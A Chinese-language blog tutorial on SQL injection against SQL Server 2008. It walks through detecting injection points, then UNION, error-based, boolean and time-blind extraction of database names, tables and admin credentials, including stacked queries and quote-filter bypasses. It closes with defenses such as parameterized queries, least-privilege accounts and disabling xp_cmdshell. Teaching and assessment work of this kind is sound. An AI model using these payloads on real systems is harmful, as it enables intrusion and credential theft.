ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

SQL Server 2008注入实战:从探测到防御的全链路指南

SQL Server 2008注入实战:从探测到防御的全链路指南 写这篇东西的起因是上周帮一家企业做遗留系统安全评估。那套业务系统跑在 SQL Server 2008 上已经有快十年没人敢动。结果我花了一个下午就在一个不起眼的公告搜索框里拿到了数据库的完整结构、用户表数据甚至一度摸到了数据库服务器的命令执行权限。整个过程没有用到任何花哨的扫描器就是纯手工的 SQL 注入。这也是我想把 SQL Server 2008 下的注入场景单独拿出来写一篇的原因。市面上讲 SQL 注入的文章九成以上默认你是玩 MySQL 的靶场。但真正生产环境里的老系统尤其是政府、银行、制造业内部系统SQL Server 2008 的出现频率远超你的想象。它有自己的系统表、自己的报错机制、自己的堆叠查询能力注入手感和 MySQL 完全不是一回事。这篇文章我会从一个判断注入点的流程开始逐步拆到获取库名表名、绕过过滤、拿到数据的完整链路最后重点讲怎么把漏洞修死。内容同时适合三类人刚接触 SQL 注入的安全测试新手、还在维护老系统的开发运维以及想搞清楚 SQL Server 注入原理的数据库管理员。1. 为什么 SQL Server 2008 的注入值得单独讲1.1 注入的本质SQL 本来就是“拼”出来的先回到最底层的问题。SQL 注入为什么存在因为应用在构造数据库查询语句时把用户输入直接拼接进了 SQL 字符串而数据库引擎无法区分哪一段是开发者写的代码、哪一段是用户给的“数据”。举个例子一个典型的登录查询长这样SELECT * FROM users WHERE username admin AND password 123456如果前端传进来的用户名是admin--拼出来就是SELECT * FROM users WHERE username admin-- AND password 123456在 SQL Server 里--是单行注释符后面的条件全部被注释掉密码校验名存实亡。这就是注入的第一性原理你给数据库的字符串它可以被解释成任意 SQL 结构。这个道理放到任何数据库都成立但 SQL Server 2008 的独特之处在于它给了注入者更多可以“借用”的能力比如系统视图、扩展存储过程、堆叠查询等这直接放大了漏洞的破坏半径。1.2 2008 的遗留属性让问题更严重SQL Server 2008 官方早已停止扩展支持这意味着补丁不会再有了。但现实里它仍然大量存在于生产环境原因无非是业务系统太老、不敢迁移、成本太高。这套组合的结果就是老数据库 老代码 无补丁 高概率存在能被直接利用的注入点。而且 2008 的默认配置对安全并不友好。xp_cmdshell虽然默认关闭但很多老运维为了方便会手动打开sa账号默认启用如果口令强度不够注入点链接到高权限账号时攻击者可以直接通过数据库操作操作系统。我在评估中遇到过好几套系统数据库链接账号都是sa。原因也很简单当年开发图省事直接用最高权限账号跑应用。这在注入场景下等于把数据库服务器的钥匙挂在了门口。1.3 SQL Server 注入和 MySQL 注入的三个关键差异很多人从 DVWA 或者 Pikachu 靶场入门用的是 MySQL转到 SQL Server 时经常卡壳。我列几个关键差异注释符不同。MySQL 里#注释很常见但 SQL Server 不认识#单行注释只能用--而且--后面最好接一个空格或控制字符否则在某些情况下不会生效。报错函数不同。MySQL 的updatexml()、extractvalue()在 SQL Server 里不存在。SQL Server 的报错注入主要靠类型转换函数比如convert(int, version)会尝试把版本字符串转成整数直接报出详细错误文本。系统视图不同。MySQL 查库表用information_schema.schemata、tables、columnsSQL Server 除了information_schema更常被人用的是sys.databases、sys.tables、sys.all_columns。这些差异意味着从 MySQL 学来的“招式”不能直接套用但反过来SQL Server 的报错机制和堆叠查询能力在某些情况下比 MySQL 更好利用。2. 判断注入点与注入类型的实操方法2.1 三步判断从参数到注入类型在 SQL Server 2008 上判断注入点我习惯用三步走。第一步确认参数是否有拼接到 SQL。拿一个公告栏 URL 来说比如news.aspx?id105先在后面加个单引号变成news.aspx?id105。如果页面报错、返回 500、或者内容明显异常说明单引号进入了 SQL 并破坏了语法这是最基础的信号。第二步用逻辑表达式确认。改成id105 and 11页面正常再改成id105 and 12页面为空或报错。两次结果不一致几乎可以断定这里存在注入。第三步判断是字符型还是数字型以及后端是直接拼接还是做了初步过滤。数字型参数通常没有引号包裹字符型参数类似where name$input需要先闭合引号。判断方式很简单id105 and 11如果页面正常说明原来的 SQL 可能长这样SELECT ... WHERE id 105也就是数字被当成字符串用了这是很常见的开发者失误。2.2 判断后端数据库是 SQL Server有些系统有多数据库兼容的代码或者你压根不知道后面接的是什么库。这时候一个万能判断法是利用数据库自己的函数特征。在参数后拼上id105 and len(a)1如果正常说明服务端要么是 SQL Server要么支持len()函数。MySQL 里对应的是length()虽然也支持len()但返回逻辑不完全一样。更可靠的是用注释特征SQL Server 支持/* */内联注释也支持--单行注释Oracle 也支持--但不支持/* */的嵌套MySQL 的#注释在 SQL Server 里直接报错。实测中我经常在参数后拼一个 and 1convert(int, version)--如果页面把数据库版本号“翻译”成报错信息打出来那就百分百是 SQL Server。2.3 注入类型一览联合、报错、布尔、时间盲注确定是 SQL Server 后下一步是根据页面回显特征选择注入类型。联合注入UNION页面本身把查询结果显示出来。核心操作是先order by测列数再用union select对齐字段。报错注入页面不显示查询结果但会把数据库错误信息渲染出来。SQL Server 下常用convert(int, version)制造类型转换错误让错误文本携带我们想读的内容。布尔盲注页面不显示数据也不报错只能看到“正常/不正常”两种状态。通过ascii(substring(...))逐字符比较拿到结果。时间盲注页面完全无感知连真假状态都分不出来只能用waitfor delay 0:0:5人为制造延迟用响应时间差做判断。实际测试中这四种方式经常要配合着用。比如联合注入在当前请求里列数不对可以先用报错注入确认库名再回头调整联合查询布尔盲注效率太低一旦发现可用报错优先用报错。3. 从探测到利用完整注入流程拆解3.1 用 order by 数清楚列数联合注入的第一步永远是确定字段数。方法是在参数后追加order by N不断调整 N 的值news.aspx?id105 order by 1 -- 正常 news.aspx?id105 order by 2 -- 正常 news.aspx?id105 order by 3 -- 正常 news.aspx?id105 order by 4 -- 报错或返回空当 N4 报错时说明当前查询只有 3 列。原理很好理解order by后面的数字代表按第几列排序如果超出查询列数SQL Server 会直接抛出“ORDER BY 位置号 4 无效”之类的错误。这里要注意一个 SQL Server 特有的细节2008 的order by数字在某些错误配置下错误信息会被截断但依然可以通过页面状态变化判断临界点。我在测试中通常是二分法加手动调先测 10再根据报错缩小区间。3.2 用 union 对齐字段并回显敏感信息确定列数是 3 列之后构造联合查询news.aspx?id105 union select null,null,null先用null占位逐个字段替换成字符串常量比如union select a,b,c看哪个字段在页面里有回显位置。这一步非常关键因为联合查询里回显位决定了后续你把数据塞在哪个位置。找到回显位后直接替换成 SQL Server 的系统信息news.aspx?id105 union select null,db_name(),nulldb_name()返回当前数据库名称这是我每到一个注入点第一个读的东西。然后继续读版本和当前用户news.aspx?id105 union select null,version,null news.aspx?id105 union select null,suser_sname(),nullversion会把 SQL Server 版本、系统版本、安装架构全部打出来。suser_sname()返回当前登录名这一步直接决定了后续能玩多大——如果是sa或者sysadmin角色数据库就基本沦陷了。3.3 获取库表字段information_schema 与 sys 视图拿到库名之后下一步是读表名。SQL Server 2008 有两种主流查法。第一种information_schema.tablesunion select null,table_name,null from information_schema.tables这个视图最直观但它只返回当前用户有权限访问的表权限低时经常漏结果。第二种sys.tables配合sys.schemasunion select null,name,null from sys.tables where typeUtypeU限定用户表过滤掉系统表。更完整的写法是union select null,t.name,null from sys.tables t inner join sys.schemas s on t.schema_ids.schema_id这套写法比information_schema稳定而且能拿到 schema 信息。SQL Server 的表名可能是dbo.user_info这种带 schema 前缀的联合查询时要考虑把 schema 和表名拼起来union select null,s.name.t.name,null from sys.tables t inner join sys.schemas s on t.schema_ids.schema_id读字段名用sys.all_columnsunion select null,c.name,null from sys.all_columns c where c.object_idobject_id(users)其中object_id(users)是另一种写法等价于在sys.objects里先找表的object_id再回过头查列。注意这里的表名前面最好带上 schema避免不同 schema 下同名表的歧义。3.4 从查询结果到数据提取一次完整的注入命令假设我已经通过上面的步骤确定目标库是一个 CMS 系统库名cmsdb有一张t_admin表里面有个username和password字段。那最终的联合查询长这样news.aspx?id105 union select null,username:password,null from cmsdb.dbo.t_adminusername:password利用 SQL Server 的字符串拼接符把两个字段拼成一个字段输出减少回显位置占用。如果页面限制行数可以加where条件继续过滤union select null,username:password,null from cmsdb.dbo.t_admin where id1SQL Server 2008 没有 MySQL 里那么好用的limit取前 N 行要写成select top 10 ...这也是一个容易踩坑的地方从 MySQL 转过来的人下意识打limit 1结果直接报语法错误。3.5 报错注入页面不显示数据时的备用方案很多时候目标页面不显示查询结果只回显错误信息这时候联合注入就失效了。换成报错注入。SQL Server 2008 最经典的报错手法是利用convert()做类型转换news.aspx?id105 and 1convert(int, db_name())db_name()返回的是字符串convert(int, cmsdb)尝试把字符串转成整数SQL Server 直接抛错在将 nvarchar 值 cmsdb 转换成数据类型 int 时失败。错误信息里带着我们想要的内容。如果把db_name()换成任意子查询就可以提取任意数据news.aspx?id105 and 1convert(int, (select top 1 username from cmsdb.dbo.t_admin))报错注入还有几个变体比如cast()、CONCAT()原理都一样。实际测试中convert和cast在 2008 环境里稳定性最好报错信息完整基本不会被截断。这里要提醒一个细节报错注入里子查询最多只能返回一行如果你select username匹配到多行系统会报“子查询返回了超过 1 个值”所以必须配合top 1或者where条件限定范围。3.6 时间盲注全无回显时的最后一根稻草如果目标对错误信息也做了处理页面真假永远一样那就只剩时间盲注可用。SQL Server 的时间函数是waitfor delaynews.aspx?id105; if ascii(substring(db_name(),1,1))99 waitfor delay 0:0:5这段的含义是如果当前库名第一个字符的 ASCII 码是 99也就是字母 c就延迟 5 秒。通过响应时间是否明显变长逐位猜数据库名。实际盲注速度很慢我一般先把长度猜出来再逐位猜字符。字符范围用二分法缩小比如先判断ascii(...) 100再继续缩小范围平均一个字符 6 到 7 次请求能确定比逐个 ASCII 码爆破效率高一倍。SQL Server 2008 里还有个容易被忽略的骚操作waitfor delay可以和堆叠查询配合。所谓堆叠查询就是用分号隔断前一条语句再执行一条新语句。比如news.aspx?id105; waitfor delay 0:0:5如果页面延迟 5 秒说明应用允许堆叠查询。能堆叠时时间盲注就不再需要if判断包裹可以直接构造复杂的多语句逻辑误判率低很多。但这个能力同时也意味着攻击者可能直接执行exec xp_cmdshell拿系统权限破坏力指数级上升。下文会专门讲这个场景的防护。4. 从漏洞到防御注册表和权限控制4.1 参数化查询是唯一根治手段我在前面写了一大堆利用手法但说到底这些手法都建立在一个前提上开发者把用户输入拼进了 SQL。要根治这个问题必须放弃拼接。SQL Server 下面参数化查询的正规写法是SqlCommand加SqlParameterSqlCommand cmd new SqlCommand(SELECT * FROM users WHERE usernameusername AND passwordpassword, conn); cmd.Parameters.AddWithValue(username, username); cmd.Parameters.AddWithValue(password, password);username是占位符用户输入被当作数据传给数据库数据库不会把它解释成 SQL 代码。不管用户输入admin--还是 or 11--对参数化查询来说它都只是用户名这一个字段的字符串值不可能改变 SQL 结构。有人觉得参数化查询只适用于常规 SELECT存储过程就安全。这是误解。如果存储过程内部也是动态拼接 SQL 再exec参数化了一样可以注。比如sql SELECT * FROM tableName EXEC(sql)这里的tableName如果来自用户输入依然是拼接依然可注入。所以判断标准不是“用没用存储过程”而是“有没有把用户输入拼接到可执行 SQL 文本里”。我在评估时见过一个典型的反面案例开发把参数化了但库名表名是动态拼接的结果表名参数被塞了users; drop table students--这类内容同样出问题。表名、列名不能参数化的场景唯一的出路是白名单校验而不是黑名单过滤。4.2 最小权限别让应用账号拿着 sa 跑SQL Server 注入的杀伤力一半取决于数据库账号权限。如果应用连接数据库用的是sa注入者一旦拿到注入点就能通过xp_cmdshell尝试执行系统命令后果是直接控制数据库服务器。哪怕xp_cmdshell被禁用sa还有大量可操作的空间——可以开OPENROWSET访问远程数据库可以改配置可以读所有库。正确的做法是给应用建一个最小权限账号只授予它业务必须的权限。比如一个新闻展示系统只需要对相关表有SELECT权限CREATE LOGIN app_news WITH PASSWORD StrongPass!2024; CREATE USER app_user FOR LOGIN app_news; GRANT SELECT ON dbo.news TO app_user;不要给db_owner更不要sysadmin。权限收窄后即使注入了攻击者能读到的也只有这个账号有权限的对象。很多注入攻击链在这一步就断了。这里有个实际经验老系统的历史账号往往权限给得特别大因为当年开发调试图省事。我建议评估完先把应用账号摘出来重新按最小权限建一遍再把旧账号停用或者改密。这样应用该跑照跑注入能造成的影响却小一大截。4.3 加固 SQL Server 2008 的安全配置具体到 SQL Server 2008有几个开关值得逐个确认确认xp_cmdshell状态默认是关闭的但要复查有没有被运维打开过。关闭命令EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 0; RECONFIGURE;禁用sa账号或者至少改成强口令。2008 里sa默认启用如果没人用直接ALTER LOGIN sa DISABLE。开启登录审计记录失败登录和成功登录。2008 里可以通过“服务器属性–安全性–登录审计”设置或者用ALTER SERVER AUDIT配置。确认没有多余的外部访问配置OPENROWSET、OPENDATASOURCE、链接服务器不需要就关。这些功能对业务来说绝大多数场景用不到却是注入后横向移动的跳板。补丁没办法了这是 2008 的历史遗留问题所以上面几条更得做扎实。高危端口通过防火墙限制来源 IP也是一个有效补充。我经常把数据库比作一栋楼的保险库。注入漏洞是打开了门缝权限配置决定门缝能拉开多大xp_cmdshell这类高危开关决定门里有没有危险品。三者一起收紧才算真正把这个风险面控住。4.4 过滤与 WAF永远只能当第二道防线有些项目因为历史包袱短期内改不了代码只能先上过滤函数或者 WAF 顶一阵。但我要把话说清楚过滤和 WAF 只能提高攻击门槛不能根治问题。常见过滤手段包括过滤单引号、过滤关键字select/union/and、用replace()把危险字符置换掉。问题是绕过手段也多比如大小写混写、内联注释/*!select*/、双重编码、concat拼接字符串等。2008 对 Unicode 的处理也有自己的脾气不同编码下过滤很容易漏。如果确实要临时过滤至少要覆盖这几个维度SQL 关键字、注释符--和/* */、分号堆叠查询的标志、系统函数名。但记住这永远是延迟方案不能当成最终修复。我在报告里给这类系统的建议永远是上线参数化改造计划过滤只作为过渡。5. 常见问题与实战排查记录5.1 问题order by 能用union select 却报错这是新手最容易卡壳的地方。order by 3正常union select 1,2,3报错。我排查过几次最常见的原因是前后列的数据类型不匹配。比如原查询第一列是 int联合查询里却填了字符串SQL Server 类型转换失败。解决方法是把字段位置先用null占位逐个试union select null,2,3 union select null,x,3我习惯把所有位置先填null再逐个替换成字符串常量测试回显基本能避开类型冲突。另一个常见原因是联合查询前的where条件返回了结果导致 union 把原有的多行结果也带出来了看起来怪异。这时候可以在前面加一个恒假条件比如id-1 union select ...让前半段查不到任何行页面只展示联合查询部分。5.2 问题字符被过滤单引号全被吃掉遇到过开发在代码里写了replace(input, , )之类全局过滤。这类过滤对简单注入有效但很难做干净。绕过的思路不止一种比如用char(39)拼接单引号select username from users where usernamechar(39)adminchar(39)char(39)是单引号的 ASCII 码表示过滤匹配到的是函数名不是引号本身。更极端的情况还可以用0x27十六进制或者nchar(39)配合 Unicode。但对我来说遇到这种过滤反而提醒了一个更关键的问题过滤点本身说明开发者有安全意识但方法错了。正确做法不是层层堵而是参数化。遇到这种项目我会在测试报告里把“用参数化替换全局字符串过滤”列为优先级最高的整改项。5.3 问题时间盲注始终不延迟waitfor delay 0:0:5拼进去之后无论如何都不延迟可能原因有几个一是没有真正进入 SQL 执行路径参数被框架的 ORM 参数化掉了——这反而是好事二是字符型参数少了闭合符语句语法错误直接被吞掉三是网络本身慢5 秒延迟和环境抖动分不清。我排查时会先随意拼一个肯定报错的字符串确认页面有反应再逐步加waitfor delay。如果确认参数是字符型先闭合引号nametest waitfor delay 0:0:5--如果还是稳如泰山我会用if条件包裹先把条件设成永真确认时间函数本身能跑id105; if 11 waitfor delay 0:0:5逐步排除一般十分钟内能定位问题。5.4 问题注入点在 JSON 或加密参数里越来越多的系统把参数加密传输比如前端把id105加密成一段 Base64 或者带签名的时间戳。这种情况下注入点还是存在的只是探测方法要跟着调整。我在评估中遇到过参数被 Base64 编码后传输的系统。处理思路是先从前端 JS 里找到编码逻辑把要注入的 payload 按同样方式编码成 Base64 后再提交。比如原始注入串是105 union select null,db_name(),null那就整包编码再提交。有些系统还在服务端做了二次解码这种情况下编码流程要反复调。加密参数场景下常规扫描器基本失效只能手工分析前端逻辑再伪造请求。这也意味着如果业务系统的参数加密做得足够好本身就能挡住一大半自动化攻击——这算是另一种防御思路但前提是密钥不能硬编码在前端代码里。写在最后几个经验之谈文章写到这里最后分享几点个人体会。SQL Server 2008 的注入测试本质上是一场“信息拼图”游戏。你每拿到一个库名、一个表名、一个字段名都是往整幅画面里填一块拼图。真正困难的不是背几个 payload而是理解数据库引擎如何解析你构造的语句、错误信息里藏着什么线索、不同的注入类型之间如何切换互补。这套思维模式放在 MySQL、Oracle、PostgreSQL 上同样适用换的只是语法和系统视图的差异。对还在维护老系统的朋友我的建议很直接把应用账号权限收掉把代码里的拼接 SQL 全部改成参数化把xp_cmdshell锁死。这三件事做完SQL Server 2008 的注入风险能降掉八成以上。剩下的两成靠监控日志和定期评估去兜底。最后再分享一个我自己踩过的坑很多年前我第一次在企业系统里发现 SQL Server 注入时兴奋得直接拿工具开始跑数据。结果因为没控制好请求频率把老数据库搞到锁死业务停了一个小时。从那之后我给自己定了个规矩——任何探测请求都手动设置延迟绝不批量爆破每读一批数据就停一停确认生产环境没有受影响再继续。安全测试是在帮系统找毛病不是给系统添乱。这套方法论希望对你有用。
返回列表